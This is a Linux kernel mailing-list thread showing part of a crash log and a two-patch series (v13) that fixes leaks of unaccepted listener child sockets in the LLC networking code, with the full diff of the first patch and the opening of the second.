[1665.707918][T10284] ? dump_header (arch/x86/include/asm/atomic64_64.h:15 include/linux/atomic/atomic-arch-fallback.h:2583 include/linux/atomic/atomic-long.h:38 include/linux/atomic/atomic-instrumented.h:3189 include/linux/vmstat.h:196 include/linux/vmstat.h:208 mm/oom_kill.c:183 mm/oom_kill.c:473)
[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:288)
[1665.708678][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.709132][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.709616][T10284] ? out_of_memory (mm/oom_kill.c:1158 (discriminator 1))
[1665.710024][T10284] out_of_memory (mm/oom_kill.c:1158 (discriminator 1))
[1665.710435][T10284] ? __pfx_out_of_memory (mm/oom_kill.c:1114)
[1665.710868][T10284] ? lock_acquire+0x2f/0xb0
[1665.711243][T10284] ? __alloc_pages_noprof (mm/page_alloc.c:4188 mm/page_alloc.c:4478 mm/page_alloc.c:4839)
[1665.711712][T10284] __alloc_pages_noprof (include/linux/vmstat.h:236 (discriminator 1) mm/page_alloc.c:4201 (discriminator 1) mm/page_alloc.c:4478 (discriminator 1) mm/page_alloc.c:4839 (discriminator 1))
[1665.712184][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.712658][T10284] ? hlock_class+0x4e/0x130
[1665.713041][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.713501][T10284] ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4792)
[1665.713991][T10284] ? __pfx___lock_acquire+0x10/0x10
[1665.714431][T10284] ? __sanitizer_cov_trace_switch+0x54/0x90
[1665.714917][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.715381][T10284] ? policy_nodemask (mm/mempolicy.c:1865 (discriminator 1) mm/mempolicy.c:2066 (discriminator 1))
[1665.715788][T10284] alloc_pages_mpol_noprof (include/linux/mm.h:1637)
[1665.716246][T10284] ? __pfx_alloc_pages_mpol_noprof (mm/mempolicy.c:2227)
[1665.716734][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.717194][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.717656][T10284] ? xas_load (lib/xarray.c:243)
[1665.718005][T10284] ? filemap_get_entry (mm/filemap.c:1850)
[1665.718439][T10284] folio_alloc_noprof (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:829 include/linux/page-flags.h:850 mm/internal.h:703 mm/internal.h:699 mm/mempolicy.c:2356)
[1665.718847][T10284] filemap_alloc_folio_noprof (mm/filemap.c:1511)
[1665.719316][T10284] ? __pfx_filemap_alloc_folio_noprof (mm/filemap.c:996)
[1665.719803][T10284] ? filemap_fault (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:562 mm/filemap.c:3241 mm/filemap.c:3342)
[1665.720231][T10284] __filemap_get_folio (mm/filemap.c:3818)
[1665.720683][T10284] filemap_fault (mm/internal.h:1002 mm/filemap.c:3242 mm/filemap.c:3342)
[1665.721097][T10284] ? __pfx_filemap_fault (mm/filemap.c:3315)
[1665.721534][T10284] ? do_pte_missing+0x165a/0x3ff0
[1665.721944][T10284] ? __pfx_lock_release+0x10/0x10
[1665.722375][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645)
[1665.722813][T10284] __do_fault (mm/memory.c:4887)
[1665.723172][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645)
[1665.723621][T10284] do_pte_missing+0x174c/0x3ff0
[1665.724026][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.724482][T10284] ? reacquire_held_locks+0x20b/0x4c0
[1665.724932][T10284] ? lock_vma_under_rcu (include/linux/mm.h:718 (discriminator 2) mm/memory.c:6266 (discriminator 2))
[1665.725374][T10284] __handle_mm_fault (mm/memory.c:4791 mm/memory.c:3963 mm/memory.c:5789 mm/memory.c:5932)
[1665.725805][T10284] ? __pfx_lock_release+0x10/0x10
[1665.726207][T10284] ? down_read_trylock (kernel/locking/rwsem.c:1604)
[1665.726640][T10284] ? __pfx___handle_mm_fault (mm/memory.c:5841)
[1665.727085][T10284] ? __pfx_down_read_trylock (kernel/locking/rwsem.c:1562)
[1665.727574][T10284] ? __pfx_lock_vma_under_rcu (mm/memory.c:6256)
[1665.728053][T10284] handle_mm_fault (mm/memory.c:2943)
[1665.728479][T10284] do_user_addr_fault (arch/x86/mm/fault.c:441 arch/x86/mm/fault.c:1230)
[1665.728921][T10284] exc_page_fault (arch/x86/include/asm/irqflags.h:37 arch/x86/include/asm/irqflags.h:114 arch/x86/mm/fault.c:1485 arch/x86/mm/fault.c:1534)
[1665.729305][T10284] asm_exc_page_fault (arch/x86/include/asm/idtentry.h:623)
[ 1665.729700][T10284] RIP: 0033:0x559e433ce5cb
[ 1665.730065][T10284] Code: Unable to access opcode bytes at 0x559e433ce5a1.
Code starting with the faulting instruction
===========================================
[ 1665.730594][T10284] RSP: 002b:00007ffcc17c93f0 EFLAGS: 00010206
[ 1665.731148][T10284] RAX: 000000000000003c RBX: 00007ffcc17c9418 RCX: 0000559e433d10c6
[ 1665.731733][T10284] RDX: 000000000000002c RSI: 0000559e433d10c0 RDI: 0000000000000004
[ 1665.732318][T10284] RBP: 00007ffcc17c9412 R08: 00007ffcc17c9420 R09: 0000000000000014
[ 1665.732904][T10284] R10: 0000000000000000 R11: 0000000000000202 R12: 0000559e433d10c6
[ 1665.733491][T10284] R13: d288ce703afb7e91 R14: 0000000000019194 R15: 0000000000000004
[ 1665.734120][T10284] </TASK>
[ 1665.735174][T10284] Kernel Offset: disabled
[ 1665.735576][T10284] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (2):
llc: release unaccepted listener child sockets
llc: create listener children only for SABME
include/net/llc_conn.h | 12 +
net/llc/af_llc.c | 35 ++-
net/llc/llc_conn.c | 502 ++++++++++++++++++++++++++++++++++++++---
3 files changed, 513 insertions(+), 36 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net v13 1/2] llc: release unaccepted listener child sockets
2026-09-30 13:29 [PATCH net v13 0/2] llc: fix listener child socket leaks Zihan Xi
@ 2026-09-30 13:29 ` Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
1 sibling, 0 replies; 3+ messages in thread
From: Zihan Xi @ 2026-09-30 13:29 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni
Cc: zihanx, horms, kees, ernestas.k, leitao, tim.bird,
shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel, stable,
Vega, Luxing Yin
Track each passive-open child until it is accepted or released. Child
sockets created for listener traffic are released when setup fails or when
the connection indication is discarded before accept().
Keep socket, SAP, and netdevice references alive through asynchronous child
cleanup. Hold the receive device while packets wait in the listener backlog.
Drop receives for out-of-service children that remain visible to RCU
lookups during SAP removal.
Defer listener frame processing while the listener is owned by userspace.
Create children and update the accept backlog when the listener backlog is
drained, serializing those updates with accept().
Release an unaccepted child as soon as the connection state machine moves it
out of a data-accepting state, so a peer disconnect cannot keep an unusable
child in the listener accept queue.
Synchronously stop LLC timers before releasing SAP and device references.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v13:
- Remove a queued connection indication when an unaccepted child is
released, so DISC/OOS teardown cannot leave a stale accept entry.
- Keep child, SAP, netdevice, timer, and listener references paired
across accept, failure, close, and asynchronous cleanup.
- v12 Link: https://lore.kernel.org/all/cover.1790255682.git.zihanx@nebusec.ai/
---
include/net/llc_conn.h | 12 ++
net/llc/af_llc.c | 35 +++-
net/llc/llc_conn.c | 395 ++++++++++++++++++++++++++++++++++++++---
3 files changed, 409 insertions(+), 33 deletions(-)
diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a302696..778e5e6c0 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -6,12 +6,18 @@
* 2001, 2002 by Arnaldo Carvalho de Melo <acme@conectiva.com.br>
*/
#include <linux/timer.h>
+#include <linux/workqueue.h>
#include <net/llc_if.h>
#include <net/sock.h>
#include <linux/llc.h>
#define LLC_EVENT 1
#define LLC_PACKET 2
+#define LLC_LISTENER_FRAME 3
+
+#define LLC_INCOMING_NONE 0
+#define LLC_INCOMING_PENDING 1
+#define LLC_INCOMING_QUEUED 2
#define LLC2_P_TIME 2
#define LLC2_ACK_TIME 1
@@ -72,6 +78,9 @@ struct llc_sock {
received and caused sending FRMR.
Used for resending FRMR */
u32 cmsg_flags;
+ atomic_t incoming_state;
+ struct sock *incoming_listener;
+ struct work_struct incoming_work;
struct hlist_node dev_hash_node;
};
@@ -94,6 +103,9 @@ struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot, int kern);
void llc_sk_stop_all_timers(struct sock *sk, bool sync);
void llc_sk_free(struct sock *sk);
+void llc_release_incoming_sock(struct sock *sk);
+bool llc_accept_incoming_sock(struct sock *sk);
+void llc_release_incoming_children(struct sock *sk);
void llc_sk_reset(struct sock *sk);
diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
index b0447c33d..6a72a8a60 100644
--- a/net/llc/af_llc.c
+++ b/net/llc/af_llc.c
@@ -27,6 +27,7 @@
#include <net/llc_sap.h>
#include <net/llc_pdu.h>
#include <net/llc_conn.h>
+#include <net/llc_c_st.h>
#include <net/tcp_states.h>
/* remember: uninitialized global data is zeroed because its in .bss */
@@ -194,6 +195,7 @@ static int llc_ui_create(struct net *net, struct socket *sock, int protocol,
*/
static int llc_ui_release(struct socket *sock)
{
+ struct llc_sap *sap = NULL;
struct sock *sk = sock->sk;
struct llc_sock *llc;
@@ -206,19 +208,27 @@ static int llc_ui_release(struct socket *sock)
llc->laddr.lsap, llc->daddr.lsap);
if (!llc_send_disc(sk))
llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+ if (sk->sk_state == TCP_LISTEN)
+ sock_set_flag(sk, SOCK_DEAD);
if (!sock_flag(sk, SOCK_ZAPPED)) {
- struct llc_sap *sap = llc->sap;
+ sap = llc->sap;
/* Hold this for release_sock(), so that llc_backlog_rcv()
* could still use it.
*/
llc_sap_hold(sap);
llc_sap_remove_socket(llc->sap, sk);
+ llc_release_incoming_children(sk);
release_sock(sk);
- llc_sap_put(sap);
} else {
+ llc_release_incoming_children(sk);
release_sock(sk);
}
+ /* Keep timer callbacks from using the SAP or device after they are put. */
+ llc_sk_stop_all_timers(sk, true);
+ if (sap)
+ llc_sap_put(sap);
netdev_put(llc->dev, &llc->dev_tracker);
sock_put(sk);
sock_orphan(sk);
@@ -489,6 +499,9 @@ static int llc_ui_connect(struct socket *sock, struct sockaddr_unsized *uaddr,
goto out;
if (unlikely(sk->sk_type != SOCK_STREAM))
goto out;
+ rc = -EINVAL;
+ if (unlikely(sk->sk_state == TCP_LISTEN))
+ goto out;
rc = -EALREADY;
if (unlikely(sock->state == SS_CONNECTING))
goto out;
@@ -718,10 +731,19 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
llc_sk(sk)->laddr.lsap);
skb = skb_dequeue(&sk->sk_receive_queue);
rc = -EINVAL;
- if (!skb->sk)
+ if (!skb || !skb->sk || skb->sk == sk)
goto frees;
- rc = 0;
newsk = skb->sk;
+ lock_sock_nested(newsk, SINGLE_DEPTH_NESTING);
+ if (!llc_accept_incoming_sock(newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_NONE)
+ llc_release_incoming_sock(newsk);
+ release_sock(newsk);
+ rc = -ECONNABORTED;
+ goto frees;
+ }
+ rc = 0;
/* attach connection to a new socket. */
llc_ui_sk_init(newsock, newsk);
sock_reset_flag(newsk, SOCK_ZAPPED);
@@ -734,11 +756,12 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
/* put original socket back into a clean listen state. */
sk->sk_state = TCP_LISTEN;
- sk_acceptq_removed(sk);
dprintk("%s: ok success on %02X, client on %02X\n", __func__,
llc_sk(sk)->addr.sllc_sap, newllc->daddr.lsap);
+ release_sock(newsk);
frees:
- kfree_skb(skb);
+ if (skb)
+ kfree_skb(skb);
out:
release_sock(sk);
return rc;
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50..349a7c5b9 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
struct sk_buff *ev);
static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
struct sk_buff *skb);
+static void llc_incoming_sock_work(struct work_struct *work);
/* Offset table on connection states transition diagram */
static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -69,6 +70,15 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
goto out_skb_put;
}
+ /*
+ * An unaccepted child that leaves a data-accepting state cannot be
+ * delivered by accept(). Release it before processing the indication.
+ */
+ if (unlikely(atomic_read(&llc->incoming_state) ==
+ LLC_INCOMING_QUEUED &&
+ llc_data_accept_state(READ_ONCE(llc->state))))
+ llc_release_incoming_sock(skb->sk);
+
switch (ev->ind_prim) {
case LLC_DATA_PRIM:
skb_get(skb);
@@ -87,7 +97,18 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
* Can't be sock_queue_rcv_skb, because we have to leave the
* skb->sk pointing to the newly created struct sock in
* llc_conn_handler. -acme
+ *
+ * A connection indication belongs on the listener. If sk and
+ * skb->sk are the same socket, queueing it would later make
+ * accept() lock that socket against itself.
*/
+ if (sk == skb->sk ||
+ atomic_read(&llc_sk(skb->sk)->incoming_state) !=
+ LLC_INCOMING_PENDING)
+ break;
+ sock_hold(skb->sk);
+ atomic_set(&llc_sk(skb->sk)->incoming_state,
+ LLC_INCOMING_QUEUED);
skb_get(skb);
skb_queue_tail(&sk->sk_receive_queue, skb);
sk->sk_state_change(sk);
@@ -755,37 +776,257 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
struct llc_addr *saddr,
struct llc_addr *daddr)
{
- struct sock *newsk = llc_sk_alloc(sock_net(sk), sk->sk_family, GFP_ATOMIC,
- sk->sk_prot, 0);
- struct llc_sock *newllc, *llc = llc_sk(sk);
+ struct llc_sock *llc = llc_sk(sk);
+ struct llc_sock *newllc;
+ struct sock *newsk;
+ newsk = llc_sk_alloc(sock_net(sk), sk->sk_family, GFP_ATOMIC,
+ sk->sk_prot, 0);
if (!newsk)
- goto out;
+ return NULL;
+
newllc = llc_sk(newsk);
memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
newllc->dev = dev;
- dev_hold(dev);
+ newllc->incoming_listener = sk;
+ atomic_set(&newllc->incoming_state, LLC_INCOMING_PENDING);
+ INIT_WORK(&newllc->incoming_work, llc_incoming_sock_work);
+ sock_hold(sk);
+ netdev_hold(dev, &newllc->dev_tracker, GFP_ATOMIC);
+ /* Lock the child before publishing it in the SAP hash. */
+ bh_lock_sock_nested(newsk);
llc_sap_add_socket(llc->sap, newsk);
-out:
+
return newsk;
}
+static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
+ struct llc_addr *saddr,
+ struct llc_addr *daddr)
+{
+ struct sock *newsk;
+ int rc = 0;
+
+ local_bh_disable();
+ newsk = __llc_lookup_established(llc_sk(sk)->sap, saddr, daddr,
+ dev_net(skb->dev));
+ if (newsk) {
+ sock_put(newsk);
+ goto drop;
+ }
+ if (sk_acceptq_is_full(sk))
+ goto drop;
+
+ newsk = llc_create_incoming_sock(sk, skb->dev, saddr, daddr);
+ if (!newsk)
+ goto drop;
+ sk_acceptq_added(sk);
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ goto drop;
+ }
+
+ rc = llc_conn_rcv(sk, skb);
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ return rc;
+
+drop:
+ kfree_skb(skb);
+ local_bh_enable();
+ return rc;
+}
+
+static void llc_incoming_sock_work(struct work_struct *work)
+{
+ struct net_device *dev;
+ struct sock *listener;
+ struct llc_sock *llc;
+ struct llc_sap *sap;
+ struct sock *sk;
+
+ llc = container_of(work, struct llc_sock, incoming_work);
+ sk = &llc->sk;
+ sap = llc->sap;
+ lock_sock(sk);
+ sock_orphan(sk);
+ release_sock(sk);
+ llc_sk_stop_all_timers(sk, true);
+ dev = llc->dev;
+ llc->dev = NULL;
+ listener = xchg(&llc->incoming_listener, NULL);
+ netdev_put(dev, &llc->dev_tracker);
+ llc_sk_free(sk);
+ llc_sap_put(sap);
+ if (listener) {
+ lock_sock(listener);
+ sk_acceptq_removed(listener);
+ release_sock(listener);
+ sock_put(listener);
+ }
+}
+
+static void llc_remove_incoming_skb(struct sock *sk)
+{
+ struct sk_buff *skb, *next;
+ struct sk_buff_head purge;
+ struct sock *listener;
+ unsigned long flags;
+
+ listener = READ_ONCE(llc_sk(sk)->incoming_listener);
+ if (!listener)
+ return;
+
+ __skb_queue_head_init(&purge);
+ spin_lock_irqsave(&listener->sk_receive_queue.lock, flags);
+ skb_queue_walk_safe(&listener->sk_receive_queue, skb, next) {
+ if (skb->sk != sk)
+ continue;
+ __skb_unlink(skb, &listener->sk_receive_queue);
+ __skb_queue_tail(&purge, skb);
+ }
+ spin_unlock_irqrestore(&listener->sk_receive_queue.lock, flags);
+ __skb_queue_purge(&purge);
+}
+
+void llc_release_incoming_sock(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+ int incoming_state;
+
+ incoming_state = atomic_xchg(&llc->incoming_state,
+ LLC_INCOMING_NONE);
+ if (incoming_state == LLC_INCOMING_NONE)
+ return;
+
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+ if (incoming_state == LLC_INCOMING_QUEUED) {
+ llc_remove_incoming_skb(sk);
+ sock_put(sk);
+ }
+ llc_sap_hold(llc->sap);
+ llc_sap_remove_socket(llc->sap, sk);
+ schedule_work(&llc->incoming_work);
+}
+
+bool llc_accept_incoming_sock(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+ struct sock *listener;
+
+ if (unlikely(llc_data_accept_state(READ_ONCE(llc->state)))) {
+ llc_release_incoming_sock(sk);
+ return false;
+ }
+
+ if (atomic_cmpxchg(&llc->incoming_state, LLC_INCOMING_QUEUED,
+ LLC_INCOMING_NONE) != LLC_INCOMING_QUEUED)
+ return false;
+
+ listener = xchg(&llc->incoming_listener, NULL);
+ if (listener) {
+ sk_acceptq_removed(listener);
+ sock_put(listener);
+ }
+ sock_put(sk);
+ return true;
+}
+
+void llc_release_incoming_children(struct sock *sk)
+{
+ struct sk_buff *skb;
+ struct sock *child;
+
+ local_bh_disable();
+ while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
+ child = skb->sk;
+
+ if (child && child != sk) {
+ bh_lock_sock_nested(child);
+ if (atomic_read(&llc_sk(child)->incoming_state) !=
+ LLC_INCOMING_NONE)
+ llc_release_incoming_sock(child);
+ bh_unlock_sock(child);
+ }
+ kfree_skb(skb);
+ }
+ local_bh_enable();
+}
+
void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
{
+ struct net_device *backlog_dev = NULL;
+ struct sock *newsk = NULL, *sk;
+ bool newsk_lookup_ref = false;
struct llc_addr saddr, daddr;
- struct sock *sk;
+ bool listener_frame = false;
+ bool newsk_locked = false;
llc_pdu_decode_sa(skb, saddr.mac);
llc_pdu_decode_ssap(skb, &saddr.lsap);
llc_pdu_decode_da(skb, daddr.mac);
llc_pdu_decode_dsap(skb, &daddr.lsap);
+lookup:
sk = __llc_lookup(sap, &saddr, &daddr, dev_net(skb->dev));
if (!sk)
goto drop;
+ if (atomic_read(&llc_sk(sk)->incoming_state) ==
+ LLC_INCOMING_PENDING) {
+ newsk = sk;
+ bh_lock_sock(newsk);
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING) {
+ bh_unlock_sock(newsk);
+ sock_put(newsk);
+ newsk = NULL;
+ goto lookup;
+ }
+ sk = llc_sk(newsk)->incoming_listener;
+ sock_hold(sk);
+ newsk_lookup_ref = true;
+ bh_unlock_sock(newsk);
+ }
+
bh_lock_sock(sk);
+ if (!newsk_lookup_ref &&
+ unlikely(READ_ONCE(llc_sk(sk)->state) == LLC_CONN_OUT_OF_SVC))
+ goto drop_unlock;
+ if (unlikely(sk->sk_state == TCP_LISTEN &&
+ sock_flag(sk, SOCK_DEAD) &&
+ !newsk_lookup_ref))
+ goto drop_unlock;
+ if (newsk_lookup_ref) {
+ bh_lock_sock_nested(newsk);
+ newsk_locked = true;
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING)
+ goto retry_unlock;
+ if (unlikely(sk->sk_state != TCP_LISTEN ||
+ sock_flag(sk, SOCK_DEAD))) {
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ }
+ /* SAP unhash is RCU; a torn-down socket may still be looked up. */
+ if (newsk &&
+ READ_ONCE(llc_sk(newsk)->state) == LLC_CONN_OUT_OF_SVC) {
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ /* Keep a queued indication accounted until accept() or close. */
+ if (!newsk &&
+ atomic_read(&llc_sk(sk)->incoming_state) == LLC_INCOMING_QUEUED &&
+ READ_ONCE(llc_sk(sk)->state) == LLC_CONN_OUT_OF_SVC)
+ goto drop_unlock;
/*
* This has to be done here and not at the upper layer ->accept
* method because of the way the PROCOM state machine works:
@@ -795,11 +1036,22 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
* in the newly created struct sock private area. -acme
*/
if (unlikely(sk->sk_state == TCP_LISTEN)) {
- struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
- &saddr, &daddr);
- if (!newsk)
+ if (!newsk) {
+ if (sock_owned_by_user(sk)) {
+ skb_orphan(skb);
+ llc_set_backlog_type(skb, LLC_LISTENER_FRAME);
+ listener_frame = true;
+ goto enqueue;
+ }
+ llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ goto out;
+ }
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
goto drop_unlock;
- skb_set_owner_r(skb, newsk);
+ }
} else {
/*
* Can't be skb_set_owner_r, this will be done at the
@@ -813,18 +1065,45 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
skb->sk = sk;
skb->destructor = sock_efree;
}
- if (!sock_owned_by_user(sk))
+enqueue:
+ if (!sock_owned_by_user(sk)) {
llc_conn_rcv(sk, skb);
- else {
+ if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ } else {
dprintk("%s: adding to backlog...\n", __func__);
- llc_set_backlog_type(skb, LLC_PACKET);
- if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+ if (!listener_frame)
+ llc_set_backlog_type(skb, LLC_PACKET);
+ backlog_dev = skb->dev;
+ netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
+ if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+ netdev_put(backlog_dev, NULL);
+ if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
goto drop_unlock;
+ }
}
out:
+ if (newsk_locked)
+ bh_unlock_sock(newsk);
bh_unlock_sock(sk);
sock_put(sk);
+ if (newsk_lookup_ref)
+ sock_put(newsk);
return;
+retry_unlock:
+ bh_unlock_sock(newsk);
+ newsk_locked = false;
+ bh_unlock_sock(sk);
+ sock_put(sk);
+ sock_put(newsk);
+ newsk = NULL;
+ newsk_lookup_ref = false;
+ goto lookup;
drop:
kfree_skb(skb);
return;
@@ -850,29 +1129,89 @@ static atomic_t llc_sock_nr;
*/
static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
{
- int rc = 0;
+ struct net_device *backlog_dev = NULL;
struct llc_sock *llc = llc_sk(sk);
+ struct sock *child = skb->sk;
+ struct llc_addr saddr, daddr;
+ struct llc_sock *childllc;
+ bool child_locked = false;
+ int incoming_state;
+ int rc = 0;
- if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
- if (likely(llc->state > 1)) /* not closed */
- rc = llc_conn_rcv(sk, skb);
- else
- goto out_kfree_skb;
+ if (llc_backlog_type(skb) == LLC_LISTENER_FRAME) {
+ backlog_dev = skb->dev;
+ if (unlikely(child || sk->sk_state != TCP_LISTEN ||
+ sock_flag(sk, SOCK_DEAD)))
+ goto drop;
+ llc_pdu_decode_sa(skb, saddr.mac);
+ llc_pdu_decode_ssap(skb, &saddr.lsap);
+ llc_pdu_decode_da(skb, daddr.mac);
+ llc_pdu_decode_dsap(skb, &daddr.lsap);
+ rc = llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ goto out;
+ } else if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
+ backlog_dev = skb->dev;
+ if (child && child != sk) {
+ local_bh_disable();
+ bh_lock_sock_nested(child);
+ child_locked = true;
+ }
+ if (child && child != sk) {
+ childllc = llc_sk(child);
+ incoming_state = atomic_read(&childllc->incoming_state);
+
+ if (incoming_state == LLC_INCOMING_PENDING) {
+ if (sock_flag(sk, SOCK_DEAD) ||
+ sk->sk_state != TCP_LISTEN ||
+ READ_ONCE(childllc->state) == LLC_CONN_OUT_OF_SVC) {
+ llc_release_incoming_sock(child);
+ goto drop;
+ }
+ rc = llc_conn_rcv(sk, skb);
+ if (atomic_read(&childllc->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(child);
+ } else if (incoming_state == LLC_INCOMING_QUEUED) {
+ /* Keep the indication accounted until accept() or close. */
+ if (READ_ONCE(childllc->state) == LLC_CONN_OUT_OF_SVC)
+ goto drop;
+ rc = llc_conn_rcv(child, skb);
+ } else {
+ goto drop;
+ }
+ } else {
+ if (likely(llc->state > 1)) /* not closed */
+ rc = llc_conn_rcv(sk, skb);
+ else
+ goto drop;
+ }
} else if (llc_backlog_type(skb) == LLC_EVENT) {
/* timer expiration event */
- if (likely(llc->state > 1)) /* not closed */
+ if (likely(llc->state > 1)) /* not closed */
rc = llc_conn_state_process(sk, skb);
else
- goto out_kfree_skb;
+ goto drop;
} else {
printk(KERN_ERR "%s: invalid skb in backlog\n", __func__);
- goto out_kfree_skb;
+ goto drop;
}
out:
+ if (child_locked) {
+ bh_unlock_sock(child);
+ local_bh_enable();
+ }
+ if (backlog_dev)
+ netdev_put(backlog_dev, NULL);
return rc;
-out_kfree_skb:
+drop:
+ if (child_locked) {
+ bh_unlock_sock(child);
+ local_bh_enable();
+ }
kfree_skb(skb);
- goto out;
+ if (backlog_dev)
+ netdev_put(backlog_dev, NULL);
+ return rc;
}
/**
@@ -905,6 +1244,8 @@ static void llc_sk_init(struct sock *sk)
llc->k = 2; /* tx win size, will adjust dynam */
llc->rw = 128; /* rx win size (opt and equal to
* tx_win of remote LLC) */
+ atomic_set(&llc->incoming_state, LLC_INCOMING_NONE);
+ llc->incoming_listener = NULL;
skb_queue_head_init(&llc->pdu_unack_q);
sk->sk_backlog_rcv = llc_backlog_rcv;
}
@@ -967,7 +1308,7 @@ void llc_sk_free(struct sock *sk)
{
struct llc_sock *llc = llc_sk(sk);
- llc->state = LLC_CONN_OUT_OF_SVC;
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
/* Stop all (possibly) running timers */
llc_sk_stop_all_timers(sk, true);
#ifdef DEBUG_LLC_CONN_ALLOC
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net v13 2/2] llc: create listener children only for SABME
2026-09-30 13:29 [PATCH net v13 0/2] llc: fix listener child socket leaks Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
@ 2026-09-30 13:29 ` Zihan Xi
1 sibling, 0 replies; 3+ messages in thread
From: Zihan Xi @ 2026-09-30 13:29 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni
Cc: zihanx, horms, kees, ernestas.k, leitao, tim.bird,
shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel, stable,
Vega, Luxing Yin
The listener receive path should not allocate a passive-open child for
frames that cannot establish a connection. Create children only for SABME
commands, answer DISC and other P=1 commands with DM from the listener, and
drop other non-SABME frames.
Classify frames before backlog admission, and send deferred duplicate SABMEs
to the existing child. If that child is user-owned, defer the retransmission
on its backlog while holding the receive device. This prevents one peer
connection from creating multiple children and preserves SABME retry
handling.
Reject backlog packets without a valid LLC socket owner before dispatching
them to the state machine.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
